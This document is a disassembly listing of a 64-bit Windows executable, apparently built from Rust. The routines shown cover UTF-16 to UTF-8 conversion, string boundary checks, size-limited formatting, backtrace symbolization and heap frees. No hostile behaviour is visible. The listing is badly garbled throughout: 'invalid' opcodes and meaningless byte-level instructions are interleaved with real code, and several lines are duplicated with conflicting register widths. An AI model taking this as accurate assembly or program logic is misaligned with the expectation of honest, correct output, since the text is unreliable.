push 0xffffffffffffffeb
jge case.0x14004b1bb.460
invalid
jmp case.0x14007cc3f.10014
cmp ecx, 0x3e3
stc
jrcxz 0x14007cd13
invalid
add eax, dword [rax]
add byte [rax + riz*2 - 0x7f], dh
je case.0x14007cc3f.10060
cmp ecx, 0x41d
je case.0x14007cc3f.10060
add byte [rax], al
je case.0x14007cc3f.10060
invalid
cmp ecx, 0x41d
je case.0x14007cc3f.10060
cmp ecx, 0x461
je case.0x14007cc3f.10060
jmp case.0x14007cc3f.10014
mov al, 0x21
ret
cmp ecx, 0x150
je 0x14007cdbf
cmp ecx, 0x252
je case.0x14007cc3f.10060
jmp case.0x14007cc3f.10014
cmp ecx, 0x1716
je case.0x14007cc3f.10060
cmp ecx, 0x1b64
je case.0x14007cc3f.10060
jmp case.0x14007cc3f.10014
cmp ecx, 0x4cf
je case.0x14007cc3f.10051
cmp ecx, 0x4d0
jne case.0x14007cc3f.10014
mov al, 4
ret
cmp ecx, 0x2022
je case.0x14007cc3f.10060
cmp ecx, 0x25e9
jne case.0x14007cc3f.10014
mov al, 0x16
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xc
ret
mov al, 0x14
ret
mov al, 0xb
ret
mov al, 5
ret
mov al, 0x28
ret
mov al, 8
ret
mov al, 9
ret
mov al, 0xa
ret
mov al, 6
ret
mov al, 3
ret
mov al, 7
ret
mov al, 2
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
mov rdi, qword [rbp + 0x1010]
mov r12, qword [rbp + 0x1000]
mov byte [r12 + rdi], r13b
inc rdi
mov qword [rbp + 0x1010], rdi
cmp rbx, rsi
je 0x14007d13b
lea rdx, [rbx + 2]
movzx ecx, word [rbx]
movzx eax, cx
mov r8d, ecx
and r8d, 0xf800
cmp r8d, 0xd800
jne 0x14007d020
cmp eax, 0xdbff
ja case.0x140074731.523
cmp rdx, rsi
je case.0x140074731.523
movzx eax, word [rdx]
lea edx, [rax + 0x2000]
movzx edx, dx
cmp edx, 0xfc00
jb case.0x140074731.523
add rbx, 4
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
mov r13, rax
shr r13, 0x10
cmp r13d, 0x80
jb 0x14007d037
mov dword [rbp + 0xfe0], 0
cmp r13d, 0x800
jae 0x14007d060
shr eax, 0x16
or al, 0xc0
mov byte [rbp + 0xfe0], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe1], r13b
mov r13d, 2
mov rax, qword [rbp + 0x1008]
sub rax, rdi
cmp rax, r13
jb 0x14007d0fd
jmp 0x14007d119
shl rax, 0x10
mov rbx, rdx
mov r13, rax
shr r13, 0x10
cmp r13d, 0x80
jae 0x14007cfc9
cmp rdi, qword [rbp + 0x1008]
jne 0x14007cf27
mov rcx, r14
mov rdx, rdi
call fcn.140040750
jmp 0x14007cf20
mov rcx, rax
cmp r13d, 0x10000
jae 0x14007d0ac
shr rcx, 0x1c
or cl, 0xe0
mov byte [rbp + 0xfe0], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfe1], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe2], r13b
mov r13d, 3
add byte [rcx - 0x43], al
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp + 0x1008]
sub rax, rdi
cmp rax, r13
jb 0x14007d0fd
jmp 0x14007d119
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp + 0xfe0], cl
and al, byte [rax - 0x72770f37]
loopne 0x14007d0c6
add byte [rax], al
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0xfe1], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfe2], al
and r13b, 0x3f
and ch, 0x3f
and ch, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe3], r13b
mov r13d, 4
mov rax, qword [rbp + 0x1008]
sub rax, rdi
cmp rax, r13
jae 0x14007d119
mov rcx, r14
mov rdx, rdi
mov r8, r13
call fcn.1400a9e20
add al, byte [rax]
add al, byte [rax]
mov r12, qword [rbp + 0x1000]
mov rdi, qword [rbp + 0x1010]
mov edi, dword [rbp + 0x1010]
mov edi, dword [rbp + 0x1010]
lea rcx, [r12 + rdi]
mov rdx, r15
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add byte [rcx + rax - 0x11], cl
add byte [rcx + rax - 0x11], cl
mov qword [rbp + 0x1010], rdi
adc byte [rax], dl
add byte [rax], al
cmp rbx, rsi
jne 0x14007cf45
mov rbx, qword [rbp + 0x1000]
test rbx, rbx
mov rsi, qword [rbp + 0x1030]
je 0x14007d23d
mov r14, qword [rbp + 0x1008]
test rdi, rdi
je case.0x140076169.377
lea rdx, [rbx + rdi]
lea rcx, [0x1400eb47f]
jmp 0x14007d2f9
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov qword [rbp + 0x1020], 0
lea rax, [rbp + 0xfe0]
mov qword [rbp + 0x1010], rax
test dword [rax], edx
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea edi, [rax + 0x4800000f]
lea edx, [rbp + 0x1000]
adc byte [rax], al
invalid
test dword [rax], edx
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea edi, [rax + 0x4800000f]
lea edx, [rbp + 0x1000]
adc byte [rax], al
invalid
adc byte [rax], al
add al, ch
xor dword [rsi], 0x8b48fffc
test eax, ecx
sldt word [rax]
call fcn.140040880
mov rax, qword [rbp + 0xfc8]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfb8]
jmp 0x14007d2bb
cmp qword [rbp + 0x1008], 0
je 0x14007d236
mov r8, qword [rbp + 0x1000]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x1030]
lea rax, [rbp + 0x103c]
mov qword [rbp + 0xfb8], rax
lea rax, [0x140049cd0]
mov qword [rbp + 0xfc0], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0x1000], rax
mov qword [rbp + 0x1008], 2
mov qword [rbp + 0x1020], 0
and byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0xfb8]
mov qword [rbp + 0x1010], rax
add byte [rax - 0x39], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
call fcn.140040880
mov rax, qword [rbp + 0xff0]
mov eax, dword [rbp + 0xff0]
mov eax, dword [rbp + 0xff0]
test eax, esi
sldt word [rax]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfe0]
movups xmmword [rsi], xmm0
add rsp, 0x10c8
add esp, 0x10c8
enter 0x10, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx r8d, r8b
test byte [r8 + rcx], 1
je 0x14007d3ef
invalid
add dword [rdi], ecx
test byte [rsi], cl
add dword [rax], eax
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp rdx, rbx
je case.0x140076169.377
test byte [rbx], al
add dword [rax], eax
invalid
test byte [rbx], al
add dword [rax], eax
add byte [rax - 0x77], cl
mov rax, rdx
movzx r8d, byte [rdx - 1]
test r8b, r8b
js 0x14007d310
invalid
rol byte [rdi + rcx - 0x4a], 1
inc dword [rbp - 0x7c]
sar byte [rax + 0xa], 0x48
or cl, byte [rax - 0x73]
push rax
invalid
or cl, byte [rax - 0x73]
push rax
inc dword [rbp + 0xf]
mov dh, 0xc0
lea rdx, [rax - 1]
movzx r8d, r8b
jmp 0x14007d379
imul eax, dword [rdi + rcx - 0x4a], 0x8041fe48
stc
sar byte [rbp + 0x25], 0x44
movzx edx, byte [rax - 3]
movzx r9d, byte [rax - 2]
cmp r9b, 0xc0
jge 0x14007d340
movzx r10d, byte [rax - 3]
cmp r10b, 0xc0
jge 0x14007d34a
sar byte [rbp + 0x24], 0x48
lea edx, [rax - 4]
lea rdx, [rax - 4]
movzx r11d, byte [rax - 4]
and r11d, 7
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
jmp 0x14007d352
lea rdx, [rax - 2]
and r9d, 0x1f
jmp 0x14007d35d
lea rdx, [rax - 3]
and r10d, 0xf
shl r10d, 6
and r9d, 0x3f
loope 0x14007d399
invalid
loope 0x14007d399
or r9d, r10d
shl r9d, 6
loope 0x14007d367
and r8b, 0x3f
movzx r8d, r8b
mov dh, 0xc0
or r8d, r9d
cmp r8d, 0x110000
je case.0x140076169.377
lea r9d, [r8 - 9]
lea ecx, [rax - 9]
cmp r9d, 5
jb 0x14007d2f0
cmp r8d, 0x20
je 0x14007d2f0
invalid
invalid
invalid
invalid
cmp r8d, 0x80
cmp eax, 0x80
jb 0x14007d3ef
push rbp
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg 0x14007d3c5
invalid
invalid
test r9d, r9d
je 0x14007d2d2
and bh, bh
invalid
invalid
and bh, bh
invalid
cmp r9d, 0x16
jne 0x14007d3ef
cmp r8d, 0x1680
je 0x14007d2f0
invalid
invalid
invalid
invalid
jmp 0x14007d3ef
cmp r9d, 0x20
je 0x14007d3e0
stc
and byte [rbp + rdx + 0x41], dh
cmp ecx, 0x30
cmp r9d, 0x30
jne 0x14007d3ef
cmp r8d, 0x3000
je 0x14007d2f0
invalid
invalid
invalid
invalid
jmp 0x14007d3ef
movzx r8d, r8b
test byte [r8 + rcx], 2
jne 0x14007d2f0
sub rax, rbx
cmp rdi, rax
jae 0x14007d40e
invalid
fmul dword [rax + 0x39]
invalid
mov rax, rdi
jmp 0x14007d3fe
xor eax, eax
mov qword [rsi], rbx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rax
jmp 0x14007d2be
invalid
invalid
invalid
invalid
test rax, rax
je 0x14007d3fe
invalid
jmp 0x14007d45c
cmp rdi, rax
jbe 0x14007d3fe
invalid
cmp byte [rbx + rax], 0xbf
jg 0x14007d3fe
mov qword [rbp + 0x1030], r14
mov qword [rbp + 0xfd0], rbx
mov dword [rbp + 0xfd0], ebx
mov dword [rbp + 0xfd0], ebx
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_string.rs
lea r8, [0x1400e8748]
invalid
mov bl, 6
add byte [rdx + 0x30], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
add byte [rax], al
call fcn.1400aa0a0
ud2
pop rsp
int3
add dword [rax], eax
add byte [rax], al
invalid
mov rdx, rdi
call fcn.1400a9e00
leave
add al, byte [rax]
leave
add al, byte [rax]
ud2
add eax, 0x6cc84
int3
add byte [rdx + 0x800], bh
mov edx, 0x800
add byte [rax], al
mov rcx, rdi
call fcn.1400aa020
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
cmp qword [rbp + 0x1008], 0
je 0x14007d4ac
mov ebp, 0x1008
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rbp + 0x1000]
mov eax, dword [rbp + 0x1000]
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
mov ebp, 0xd2310007
sar bh, cl
adc eax, 0x32f5c
invalid
add eax, dword [rax]
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov ebp, 0x1030
xor byte [rax], dl
add byte [rax], al
add byte [rax], al
cmp qword [rbp + 0x1030], 0
xor byte [rax], dl
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
je 0x14007d4fc
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or edi, dword [rbp - 0x2dcefff9]
xor edx, edx
mov r8, qword [rbp + 0xfd0]
sldt word [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
jmp rax
int3
or eax, 0x6dca6
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400eb328]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
test byte [rdx + rax], dh
add byte [rax - 0x75], cl
jg 0x14007d5d7
lea r14, [rsp + 0x38]
lea r15, [0x1400e96d0]
cmp eax, 0x6c12d
cmp eax, 0x6c12d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, rdi
mov r8, rbx
fsubr st(0)
rcr byte [rsi - 4], cl
dec dword [rax - 0x7d]
cmp dword [rsp + 0x38], 0
fsubr st(0)
rcr byte [rsi - 4], cl
dec dword [rax - 0x7d]
invalid
jl 0x14007d5e6
cmp dword [rsp + 0x38], 0
cmp byte [rax], al
je 0x14007d7ed
mov r12, qword [rsp + 0x40]
movzx ebp, byte [rsp + 0x48]
movzx r13d, byte [rsp + 0x49]
movzx r13d, byte [rsp + 0x49]
insb byte [rdi], dx
and al, 0x49
mov r8d, 3
mov rcx, rsi
mov rdx, r15
call fcn.140041f10
test al, al
jne 0x14007d803
inc dword [rax + rax*8 + 0x210850f]
add byte [rax], al
test bpl, 1
je 0x14007d807
add r12, r13
cmp rbx, r12
jb 0x14007d81d
add rdi, r12
sub rbx, r12
jne 0x14007d5b0
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je 0x14007d6c4
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
je 0x14007d6c4
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0xf4240
and al, 0x78
invalid
invalid
invalid
invalid
and al, 0x78
str word [rax - 0x77]
invalid
invalid
mov ah, 0x24
mov qword [rsp + 0x80], rsi
lea rax, [rsp + 0x30]
add byte [rax], 0
add byte [rax - 0x73], cl
and al, 0x30
jne 0x14007d6ee
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
lea rax, [0x140071f60]
mov qword [rsp + 0x90], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add byte [rcx - 1], cl
dec dword [rax - 0x77]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6f8f1
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400e3290]
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x38]
call fcn.140042240
mov rcx, qword [rsp + 0x70]
test al, al
jne 0x14007d7a6
jmp 0x14007d7c9
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rcx, rbx
call rsi
mov ecx, eax
mov al, 1
test cl, cl
je 0x14007d7de
jmp 0x14007d809
mov qword [rsp + 0xb8], rax
lea rax, [0x140071f60]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
movabs rax, 0x400000020
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x68], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, [0x1400e3290]
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x88]
call fcn.140042240
mov rcx, qword [rsp + 0x70]
test al, al
je 0x14007d7c9
test rcx, rcx
je 0x14007d7c9
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
mov r8d, 0x14
call qword [rax + 0x18]
test al, al
jne 0x14007d803
jmp 0x14007d7d2
test al, al
jne 0x14007d803
test rcx, rcx
jne 0x14007d831
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
call rsi
jmp 0x14007d809
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, rsi
call fcn.140041f10
test al, al
je 0x14007d807
mov al, 1
jmp 0x14007d809
xor eax, eax
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_src...._backtrace_src_symbolizemod.rs
mov rcx, r12
mov rdx, rbx
call fcn.1400a9f20
ud2
lea rax, [0x1400e3930]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e38f4]
lea r9, [0x1400e31f8]
lea r8, [rsp + 0x38]
mov edx, 0x37
call fcn.1400aa430
ud2
ror byte [rax - 0x77], 1
iretd
cmp dword [rdx], 0
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x80]
je 0x14007d8e6
call fcn.14007e0a0
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x120], rax
and byte [rcx], al
add byte [rax], al
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x108], rax
mov r11, qword [rbp + 0x90]
mov ebx, dword [rbp + 0x90]
mov ebx, dword [rbp + 0x90]
movzx eax, byte [rbp + 0x98]
mov byte [rbp + 0x12f], al
invalid
add dword [rax], eax
invalid
test bl, bl
mov dh, 0x85
cwde
add byte [rax], al
add byte [rax + 0x12f85], cl
invalid
add dword [rax], eax
add byte [rbx + rbx*8 + 0x3d8850f], al
jne case.default.0x14007d9d3
invalid
jne case.default.0x14007d9d3
test eax, ebx
add eax, dword [rax]
add bl, ch
call fcn.140043490
movsd dword [rdi], dword [rsi]
pop rbx
cld
invalid
jmp 0x14007d92c
call fcn.140043490
movsd dword [rdi], dword [rsi]
pop rbx
cld
dec dword [rax - 0x7d]
mov ebp, 0x80
add byte [rax], 0
add byte [rax], al
mov eax, 9
cmp qword [rbp + 0x80], 0
add byte [rax], 0
add byte [rax], al
mov eax, 9
add byte [rax], al
add byte [rax + 0xf], cl
test dword [rax + 0x48000000], r10d
nop
add byte [rax], al
invalid
invalid
cmove rax, qword [rbp + 0x90]
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x108], eax
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rbp + 0x108], eax
lea rax, [0x1400e9511]
mov dword [rbp + 0x108], eax
lea rax, [0x1400e9511]
cmove rax, qword [rbp + 0x88]
mov qword [rbp + 0x120], rax
mov byte [rbp + 0x12f], 2
test bl, bl
jne case.default.0x14007d9d3
mov qword [rbp + 0xf0], rdi
cmp byte [rbp + 0x12f], 2
mov qword [rbp + 0x118], r11
cmove r11, qword [rbp + 0x108]
popfq
or byte [rcx], al
add byte [rax], al
popfq
or byte [rcx], al
add byte [rax], al
mov rcx, qword [rbp + 0x120]
mov qword [rbp + 0x110], r11
mov rdx, r11
call fcn.14007e3b0
test r14, r14
sete cl
xor al, 1
or al, cl
mov rdi, qword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
jne case.default.0x14007d9d3
mov r15, qword [r14]
mov r12, qword [r14 + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
call fcn.14007e4f0
movzx esi, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
movzx edx, sil
lea r8, [0x1400f0644]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
jmp r9
invalid
loope 0x14007da1f
add rcx, 4
add ecx, 4
jmp 0x14007da10
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14007da10
mov ecx, 6
jmp 0x14007da10
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007da10
mov ecx, 2
add byte [rax], al
mov rdx, qword [rbp + 0x110]
sub rdx, rcx
jb 0x14007dfe6
add byte [rax + 3], cl
lea esp, [rax]
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0xffffffffffff8548, 0xffffffffffffffd2
test rdx, rdx
add rcx, qword [rbp + 0x120]
mov r8, rcx
test rdx, rdx
je 0x14007da43
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r14b
or r14b, cl
jmp case.0x1400283bc.1276
xor r14d, r14d
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
push rax
lea rcx, [rbp + 0x80]
mov rdx, r15
mov r8, r12
call fcn.14007e4f0
movzx edx, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
test dword [rax + 0x4c000000], esp
lea eax, [0x1400f0660]
test dword [rax + 0x4c000000], esp
lea eax, [0x1400f0660]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, r12
mov r8, r15
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp case.0x14002f576.1027
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp case.0x14002f576.1027
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x14002f576.1027
sbb dword [rax - 0x73], ecx
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add rcx, 2
jmp case.0x14002f576.1027
mov ecx, 2
mov rdx, r12
add rcx, 2
add ecx, 2
jmp case.0x14002f576.1027
add al, byte [rax]
add byte [rax], al
mov rdx, r12
sub rdx, rcx
sub edx, ecx
jb 0x14007dffb
add byte [rcx + rax - 7], cl
add rcx, r15
mov r8, rcx
test rdx, rdx
je 0x14007db08
movzx eax, byte [r8]
mov dh, 0
cmp al, 0x2f
sete cl
xchg esp, eax
invalid
xchg esp, eax
sar dword [rsp + rbx*2], 0xf
cmp al, 0x5c
invalid
cmp al, 0x5c
sete al
xchg esp, eax
ror byte [rax], 0xc8
xchg esp, eax
ror byte [rax], 0xc8
jmp 0x14007db0a
xor eax, eax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r12
movups xmm0, xmmword [rbp + 0x80]
add byte [rax], 0
add byte [rdi], cl
adc byte [rbp + 0x90], cl
invalid
nop
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
adc byte [rbp + 0x90], cl
invalid
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
movups xmmword [rbp - 0x10], xmm1
mov rcx, qword [rbp + 0xa0]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
movabs al, byte [0x88004d8948000000]
or r12b, byte [r14 - 0x39]
or byte [r8], r8b
add byte [rdx], al
lea r12, [rbp + 0x21]
mov r15b, 2
mov bh, 2
xor edi, edi
invalid
invalid
lodsd eax, dword [rsi]
mov byte [rbp + 0xa], al
mov word [rbp + 8], 0x200
add byte [rdx], al
add byte [rdx], al
lea r12, [rbp + 0x21]
mov r15b, 2
mov bh, 2
mov bh, 2
xor edi, edi
lea r13, [rbp + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ebx, dword [rbp + 0x120]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ebx, dword [rbp + 0x120]
mov ebx, dword [rbp + 0x120]
cmp sil, 6
je 0x14007db81
nop dword [rax]
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0x9f], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], sil
jne 0x14007dbb4
jne 0x14007dbb4
mov rax, qword [rbp + 0x9f]
mov qword [r12 + 0x1f], rax
lahf
add byte [rax], al
add byte [rcx - 0x77], cl
and al, 0x1f
movaps xmm0, xmmword [rbp + 0x80]
test dword [rax + 0xf000000], eax
sub byte [rbp + 0x90], cl
nop
add byte [rax], al
invalid
movaps xmm1, xmmword [rbp + 0x90]
nop
add byte [rax], al
add byte [rcx + 0xf], al
movups xmmword [r12 + 0x10], xmm1
adc dword [rsp + 0x10], ecx
movups xmmword [r12], xmm0
mov byte [rbp + 0x4a], r14b
mov byte [rbp + 0x48], dil
mov byte [rbp + 0x49], r15b
mov rcx, r13
mov rcx, r13
lea rdx, [rbp + 0x10]
call fcn.14007e9a0
adc al, ch
iretd
lea rcx, [rbp + 0xb8]
lea rdx, [rbp - 0x30]
call fcn.14007e9a0
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbp + 0xb8]
cmp byte [rbp + 0x80], 0xa
je 0x14007dc6f
cmp al, 0xa
je 0x14007dc73
mov rcx, r13
mov ecx, ebp
lea rdx, [rbp + 0xb8]
call fcn.14007ed70
test al, al
je 0x14007dcae
add byte [rax], al
add byte [rax], al
mov rbx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x110], rax
movzx esi, byte [rbp + 0x20]
movups xmm0, xmmword [r12]
adc byte [rsp], al
adc byte [rsp], al
movups xmm1, xmmword [r12 + 0x10]
movups xmm1, xmmword [rsp + 0x10]
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
sub dword [rbp + 0x60], ecx
sub dword [rbp + 0x60], ecx
mov rax, qword [r12 + 0x1f]
mov qword [rbp + 0x6f], rax
movzx edi, byte [rbp + 0x48]
movzx r15d, byte [rbp + 0x49]
jge case.0x14002f576.1042
jge case.0x14002f576.1042
movzx r14d, byte [rbp + 0x4a]
movzx r14d, byte [rbp + 0x4a]
movzx eax, byte [r12 + 0x2e]
movzx eax, byte [rsp + 0x2e]
mov dh, 0x44
and al, 0x2e
invalid
mov byte cs:[rbp + 0xfc], al
mov byte [rbp + 0xfc], al
mov eax, dword [r12 + 0x2a]
and al, 0x2a
mov dword [rbp + 0xf8], eax
add byte [rax], al
cmp sil, 6
cmp dh, 6
jne 0x14007db60
invalid
jmp 0x14007db81
cmp al, 0xa
jne 0x14007dcae
or dh, byte [rbp + 0x3b]
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 0x41], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x50], xmm1
invalid
mov al, 0xf
sub dword [rbp - 0x60], eax
invalid
movaps xmmword [rbp - 0x60], xmm0
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0x100], eax
test dword [rax], eax
add dword [rax], eax
invalid
clc
add byte [rax], al
add byte [rcx + 0x10085], cl
test dword [rax], eax
add dword [rax], eax
test dword [rax], eax
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x85
test esp, edi
movzx eax, byte [rbp + 0xfc]
mov byte [rbp + 0x104], al
test esp, edi
add byte [rax], al
add byte [rax + 0x10485], cl
add byte [rcx - 0x80], al
